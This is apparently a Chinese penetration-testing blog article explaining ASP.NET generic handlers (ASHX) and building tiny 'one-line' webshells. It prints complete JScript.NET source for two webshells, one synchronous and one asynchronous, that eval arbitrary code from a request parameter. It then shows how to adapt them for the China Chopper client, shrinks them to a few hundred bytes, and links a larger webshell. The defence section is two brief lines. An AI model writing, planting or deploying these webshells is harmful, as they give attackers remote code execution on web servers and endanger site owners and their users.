0x01 前言
在滲透測試的時(shí)候各種PHP版的一句話木馬已經(jīng)琳瑯滿目,而.NET平臺(tái)下的一句話木馬則百年不變,最常見的當(dāng)屬下面這句
想必這句話已經(jīng)成大多數(shù)防御產(chǎn)品的標(biāo)準(zhǔn)樣本,除此以外還有上傳文件的一句話,像這種的從嚴(yán)格意義上不能算是一句話木馬,只是一個(gè)簡單的上傳文件的功能,實(shí)際的操作還是大馬或者小馬的操作行為。
筆者感覺有必要挖坑一下.NET平臺(tái)里的一句話木馬,經(jīng)過一番摸索填坑終于可以總結(jié)出了.NET下的三駕馬車,于是乎有了這個(gè)系列的文章。今天是第一篇著重介紹一般處理程序 (ASHX)下的工作原理和如何實(shí)現(xiàn)一句話木馬的介紹,當(dāng)然介紹之前筆者找到了一款ashx馬兒 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

這個(gè)馬兒已經(jīng)實(shí)現(xiàn)了菜刀可連,可用,還是挺棒的,但因?yàn)轶w積過大,并且在服務(wù)端實(shí)現(xiàn)了大多數(shù)功能,其實(shí)更像是一個(gè)大馬,只是對客戶端的菜刀做了適配可用,所以不能說是一句話木馬了,至于要打造一款居家旅行必備的菜刀馬,還得從原理上搞清楚 ashx的運(yùn)行過程。
0x02 簡介
從Asp.Net 2.0開始,Asp.Net提供了稱為一般處理程序的處理程序,允許我們使用比較簡單的方式定義擴(kuò)展名為ashx的專用處理程序。對于Asp.Net應(yīng)用來說,網(wǎng)站最快的處理結(jié)果就是HTML網(wǎng)頁,生成網(wǎng)頁的工作通常使用擴(kuò)展名為Aspx的Web窗體來完成。對于處理結(jié)果不是HTML的請求,都可以通過一般處理程序完成。例如生成RSS Feed、XML、圖片等。 一般處理程序是Asp.Net應(yīng)用中最為簡單、高效的處理程序,在處理返回類型不是HTML的請求中有著重要的作用。通常是實(shí)現(xiàn)IHttpHandler接口,因?yàn)椴槐乩^承自Page類,所以沒有那么多事件需要處理,不必消耗太多資源,所以性能方面要比Aspx高。
當(dāng)Http請求進(jìn)入 Asp.Net Runtime以后,它的管道由托管模塊(NOTE:Managed Modules)和處理程序(NOTE:Handlers)組成,并且由管道來處理這個(gè) Http請求。

HttpRuntime將Http請求轉(zhuǎn)交給 HttpApplication,HttpApplication代表著程序員創(chuàng)建的Web應(yīng)用程序。HttpApplication創(chuàng)建針對此Http請求的 HttpContext對象,這些對象包含了關(guān)于此請求的諸多其他對象,主要是HttpRequest、HttpResponse、HttpSessionState等。這些對象在程序中可以通過Page類或者Context類進(jìn)行訪問,而接下來的一句話木馬就是通過Context類進(jìn)行請求交互的。
0x03 一句話的實(shí)現(xiàn)
3.1、同步處理:IHttpHandler
首先可以打開C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\CONFIG\ 目錄下的web.config 文件,找到httpHandlers結(jié)點(diǎn),應(yīng)該可以看到如下這樣的代碼

.Net Framework在處理Http請求時(shí)的所采用的默認(rèn)Handler。而如果我們要用編程的方式來操控一個(gè)Http請求,我們就需要實(shí)現(xiàn)IHttpHandler接口,來定制我們自己的需求。IHttpHandler的定義是這樣的:
public interface IHttpHandler
{
bool IsReusable { get; }
void ProcessRequest(HttpContext context);
}
由上面可以看出IHttpHandler要求實(shí)現(xiàn)一個(gè)方法和一個(gè)屬性。其中 ProcessRequest,從名字(處理請求)看就知道這里應(yīng)該放置我們處理請求的主要代碼。IsReusable屬性,MSDN上是這樣解釋的:獲取一個(gè)值,該值指示其他請求是否可以使用 IHttpHandler 實(shí)例。也就是說后繼的Http請求是不是可以繼續(xù)使用實(shí)現(xiàn)了該接口的類的實(shí)例。如果返回true,則HttpHandler能得到重用,或許某些場合下,是可以達(dá)到性能優(yōu)化的目的。但是,它也可能會(huì)引發(fā)新的問題:HttpHandler實(shí)例的一些狀態(tài)會(huì)影響后續(xù)的請求,也正是由于這個(gè)原因在默認(rèn)情況下,都是不重用的。在通常情況下,當(dāng)實(shí)現(xiàn)IsReusable時(shí)返回false,雖然性能上不是最優(yōu),但卻是最安全的做法。
了解了基本原理后,筆者開始手動(dòng)打造一句話小馬,這個(gè)馬兒要和PHP或者同胞兄弟Aspx一樣,僅僅在服務(wù)端存放體積很小的一段代碼,參考Aspx一句話木馬的實(shí)現(xiàn)原理,發(fā)現(xiàn)是基于Jscript.Net語言中的eval方法去執(zhí)行任意字符串的,所以首當(dāng)其沖考慮用Jscript,并且需要實(shí)現(xiàn)IhttpHandler這個(gè)接口,查詢資料后得到在Jscript.Net和VB.Net中均采用implements去實(shí)現(xiàn),最終寫出一句話木馬服務(wù)端代碼:
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
function IHttpHandler.ProcessRequest(context : HttpContext){
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee “);
eval(context.Request[“Ivan”]);
}
function get IHttpHandler.IsReusable() : Boolean{
return false;
}
}
這里有必要簡單的介紹一下Jscript.Net的語法;和大多數(shù)語言類似導(dǎo)入命名空間也是通過Import,以下摘自微軟描述
import 語句在名稱提供為 namespace 的全局對象上創(chuàng)建屬性并將其初始化,以包含對應(yīng)于所導(dǎo)入命名空間的對象。 任何使用 import 語句創(chuàng)建的屬性都不能賦給其他對象、刪除或枚舉。 所有 import 語句都在腳本開始時(shí)執(zhí)行。
方法名中的參數(shù)和類型之間用冒號分割 ,一對括號外的是返回的類型 ?蓞⒖枷聢D

如果要訪問類中的屬性,需使用 function get 語句,可參考下圖
Jscript簡單語法就介紹到這里,更多的語法可參考微軟官方文檔:https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/z688wt03(v%3dvs.100)
萬事俱備,打開瀏覽器輸入 context.Response.Write(DateTime.Now.ToString()) 成功打印出當(dāng)前時(shí)間

3.2、異步處理:IHttpAsyncHandler
在ASP.NET程序中,適當(dāng)?shù)厥褂卯惒绞强梢蕴岣叻⻊?wù)端吞吐量的。 這里所說的適當(dāng)?shù)厥褂卯惒,一般是說:當(dāng)服務(wù)器的壓力不大且很多處理請求的執(zhí)行過程被阻塞在各種I/O等待(以網(wǎng)絡(luò)調(diào)用為主)操作上時(shí), 而采用異步來減少阻塞工作線程的一種替代同步調(diào)用的方法。 反之,如果服務(wù)器的壓力已經(jīng)足夠大,或者沒有發(fā)生各種I/O等待,那么,在此情況下使用異步是沒有意義的。那么在HttpHandler的接口里要想支持異步,則必須使用另一個(gè)接口:IhttpAsyncHandler

這個(gè)接口也很簡單只有二個(gè)方法,在.net中,異步都是建立在IAsyncResult接口之上的,而BeginProcessRequest / EndProcessRequest是對這個(gè)接口最直接的使用方式。筆者通過創(chuàng)建一個(gè)C#的Demo來演示異步處理的過程
public class ashxSpy1 : IHttpAsyncHandler
{
public delegate void someDelegate();
public static void writeFile()
{
StreamWriter wickedly = File.CreateText(“d:\\test.txt”);
wickedly.Write(“test”);
wickedly.Flush();
wickedly.Close();
}
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback asyncCallback, object obj )
{
someDelegate someDelegate = new someDelegate(writeFile);
IAsyncResult iAsyncResult = someDelegate.BeginInvoke(asyncCallback, context);
return iAsyncResult;
}
public void EndProcessRequest(IAsyncResult result){}
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context){}
}
值得注意的是ProcessRequest方法和IsReusable屬性可以不實(shí)現(xiàn)它們,但必須要保留下來,因?yàn)檫@個(gè)方法也是接口的一部分。核心方法是BeginProcessRequest,其中參數(shù)asyncCallback是一個(gè)內(nèi)部委托,那么就需要定義一個(gè)委托,將來通過異步的方式回調(diào)自定義的方法writeFile 來寫入文件。
知道原理后就開始著手打造異步調(diào)用的一句話木馬,和IhttpHandler一樣需要通過Jscript.Net的eval方法去實(shí)現(xiàn)代碼執(zhí)行,有點(diǎn)遺憾之處筆者查詢資料后發(fā)現(xiàn)Jscript.Net暫時(shí)不支持委托類型,不過只需要在BeginProcessRequest方法里增加HttpContext.Current.Response.End();就可以實(shí)現(xiàn)功能并且不讓程序拋出異常,實(shí)現(xiàn)的代碼如下:
import System;
import System.Web;
import System.IO;
public class AsyncHandlerSpy implements IHttpAsyncHandler{
function IHttpAsyncHandler.BeginProcessRequest(context : HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee”);
eval(context.Request[“Ivan”]);
HttpContext.Current.Response.End();
}
function IHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}
function IHttpHandler.ProcessRequest(context : HttpContext){}
function get IHttpHandler.IsReusable() : Boolean{return false;}
}
打開瀏覽器,測試效果如下

0X04 菜刀連接
圈內(nèi)常說武功再高,也怕菜刀;那么就有必要了解一下菜刀在連接ASPX的時(shí)候會(huì)發(fā)送什么數(shù)據(jù)了,經(jīng)過抓包得到下圖的請求

對于.NET平臺(tái)的應(yīng)用程序默認(rèn)連接后發(fā)送的可執(zhí)行字符串是Response.Write,而這樣的輸出需要繼承的對象是Page類,所以至今為止,在菜刀的層面.NET下僅支持ASPX,再來看一般處理程序中已經(jīng)繼承了HttpContext對象實(shí)例化后的變量context,由此可以構(gòu)造出
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request[“Ivan”]);
修改好后用菜刀連接成功,如下圖

基于優(yōu)化考慮將HandlerSpy.ashx進(jìn)一步壓縮體積后只有531字節(jié),而AsyncHandlerSpy.ashx也才719字節(jié)。

0x05 防御措施
通過菜刀連接的方式,添加可以檢測菜刀關(guān)鍵特征的規(guī)則;
對于Web應(yīng)用來說,盡量保證代碼的安全性;
0x06 小結(jié)
- 文章中不足之處在于Jscript異步處理的時(shí)候沒有能夠用委托的方式去調(diào)用,這是一個(gè)遺憾,如果有同學(xué)提出了更好的解決方法,歡迎多多交流;
- 還有本文提供了兩種方式實(shí)現(xiàn)ashx一句話的思路,當(dāng)然還有更多編寫一句話的技巧有待發(fā)掘,下次將介紹另外一種姿勢,敬請期待;
- 文章的代碼片段請點(diǎn)這里
-
|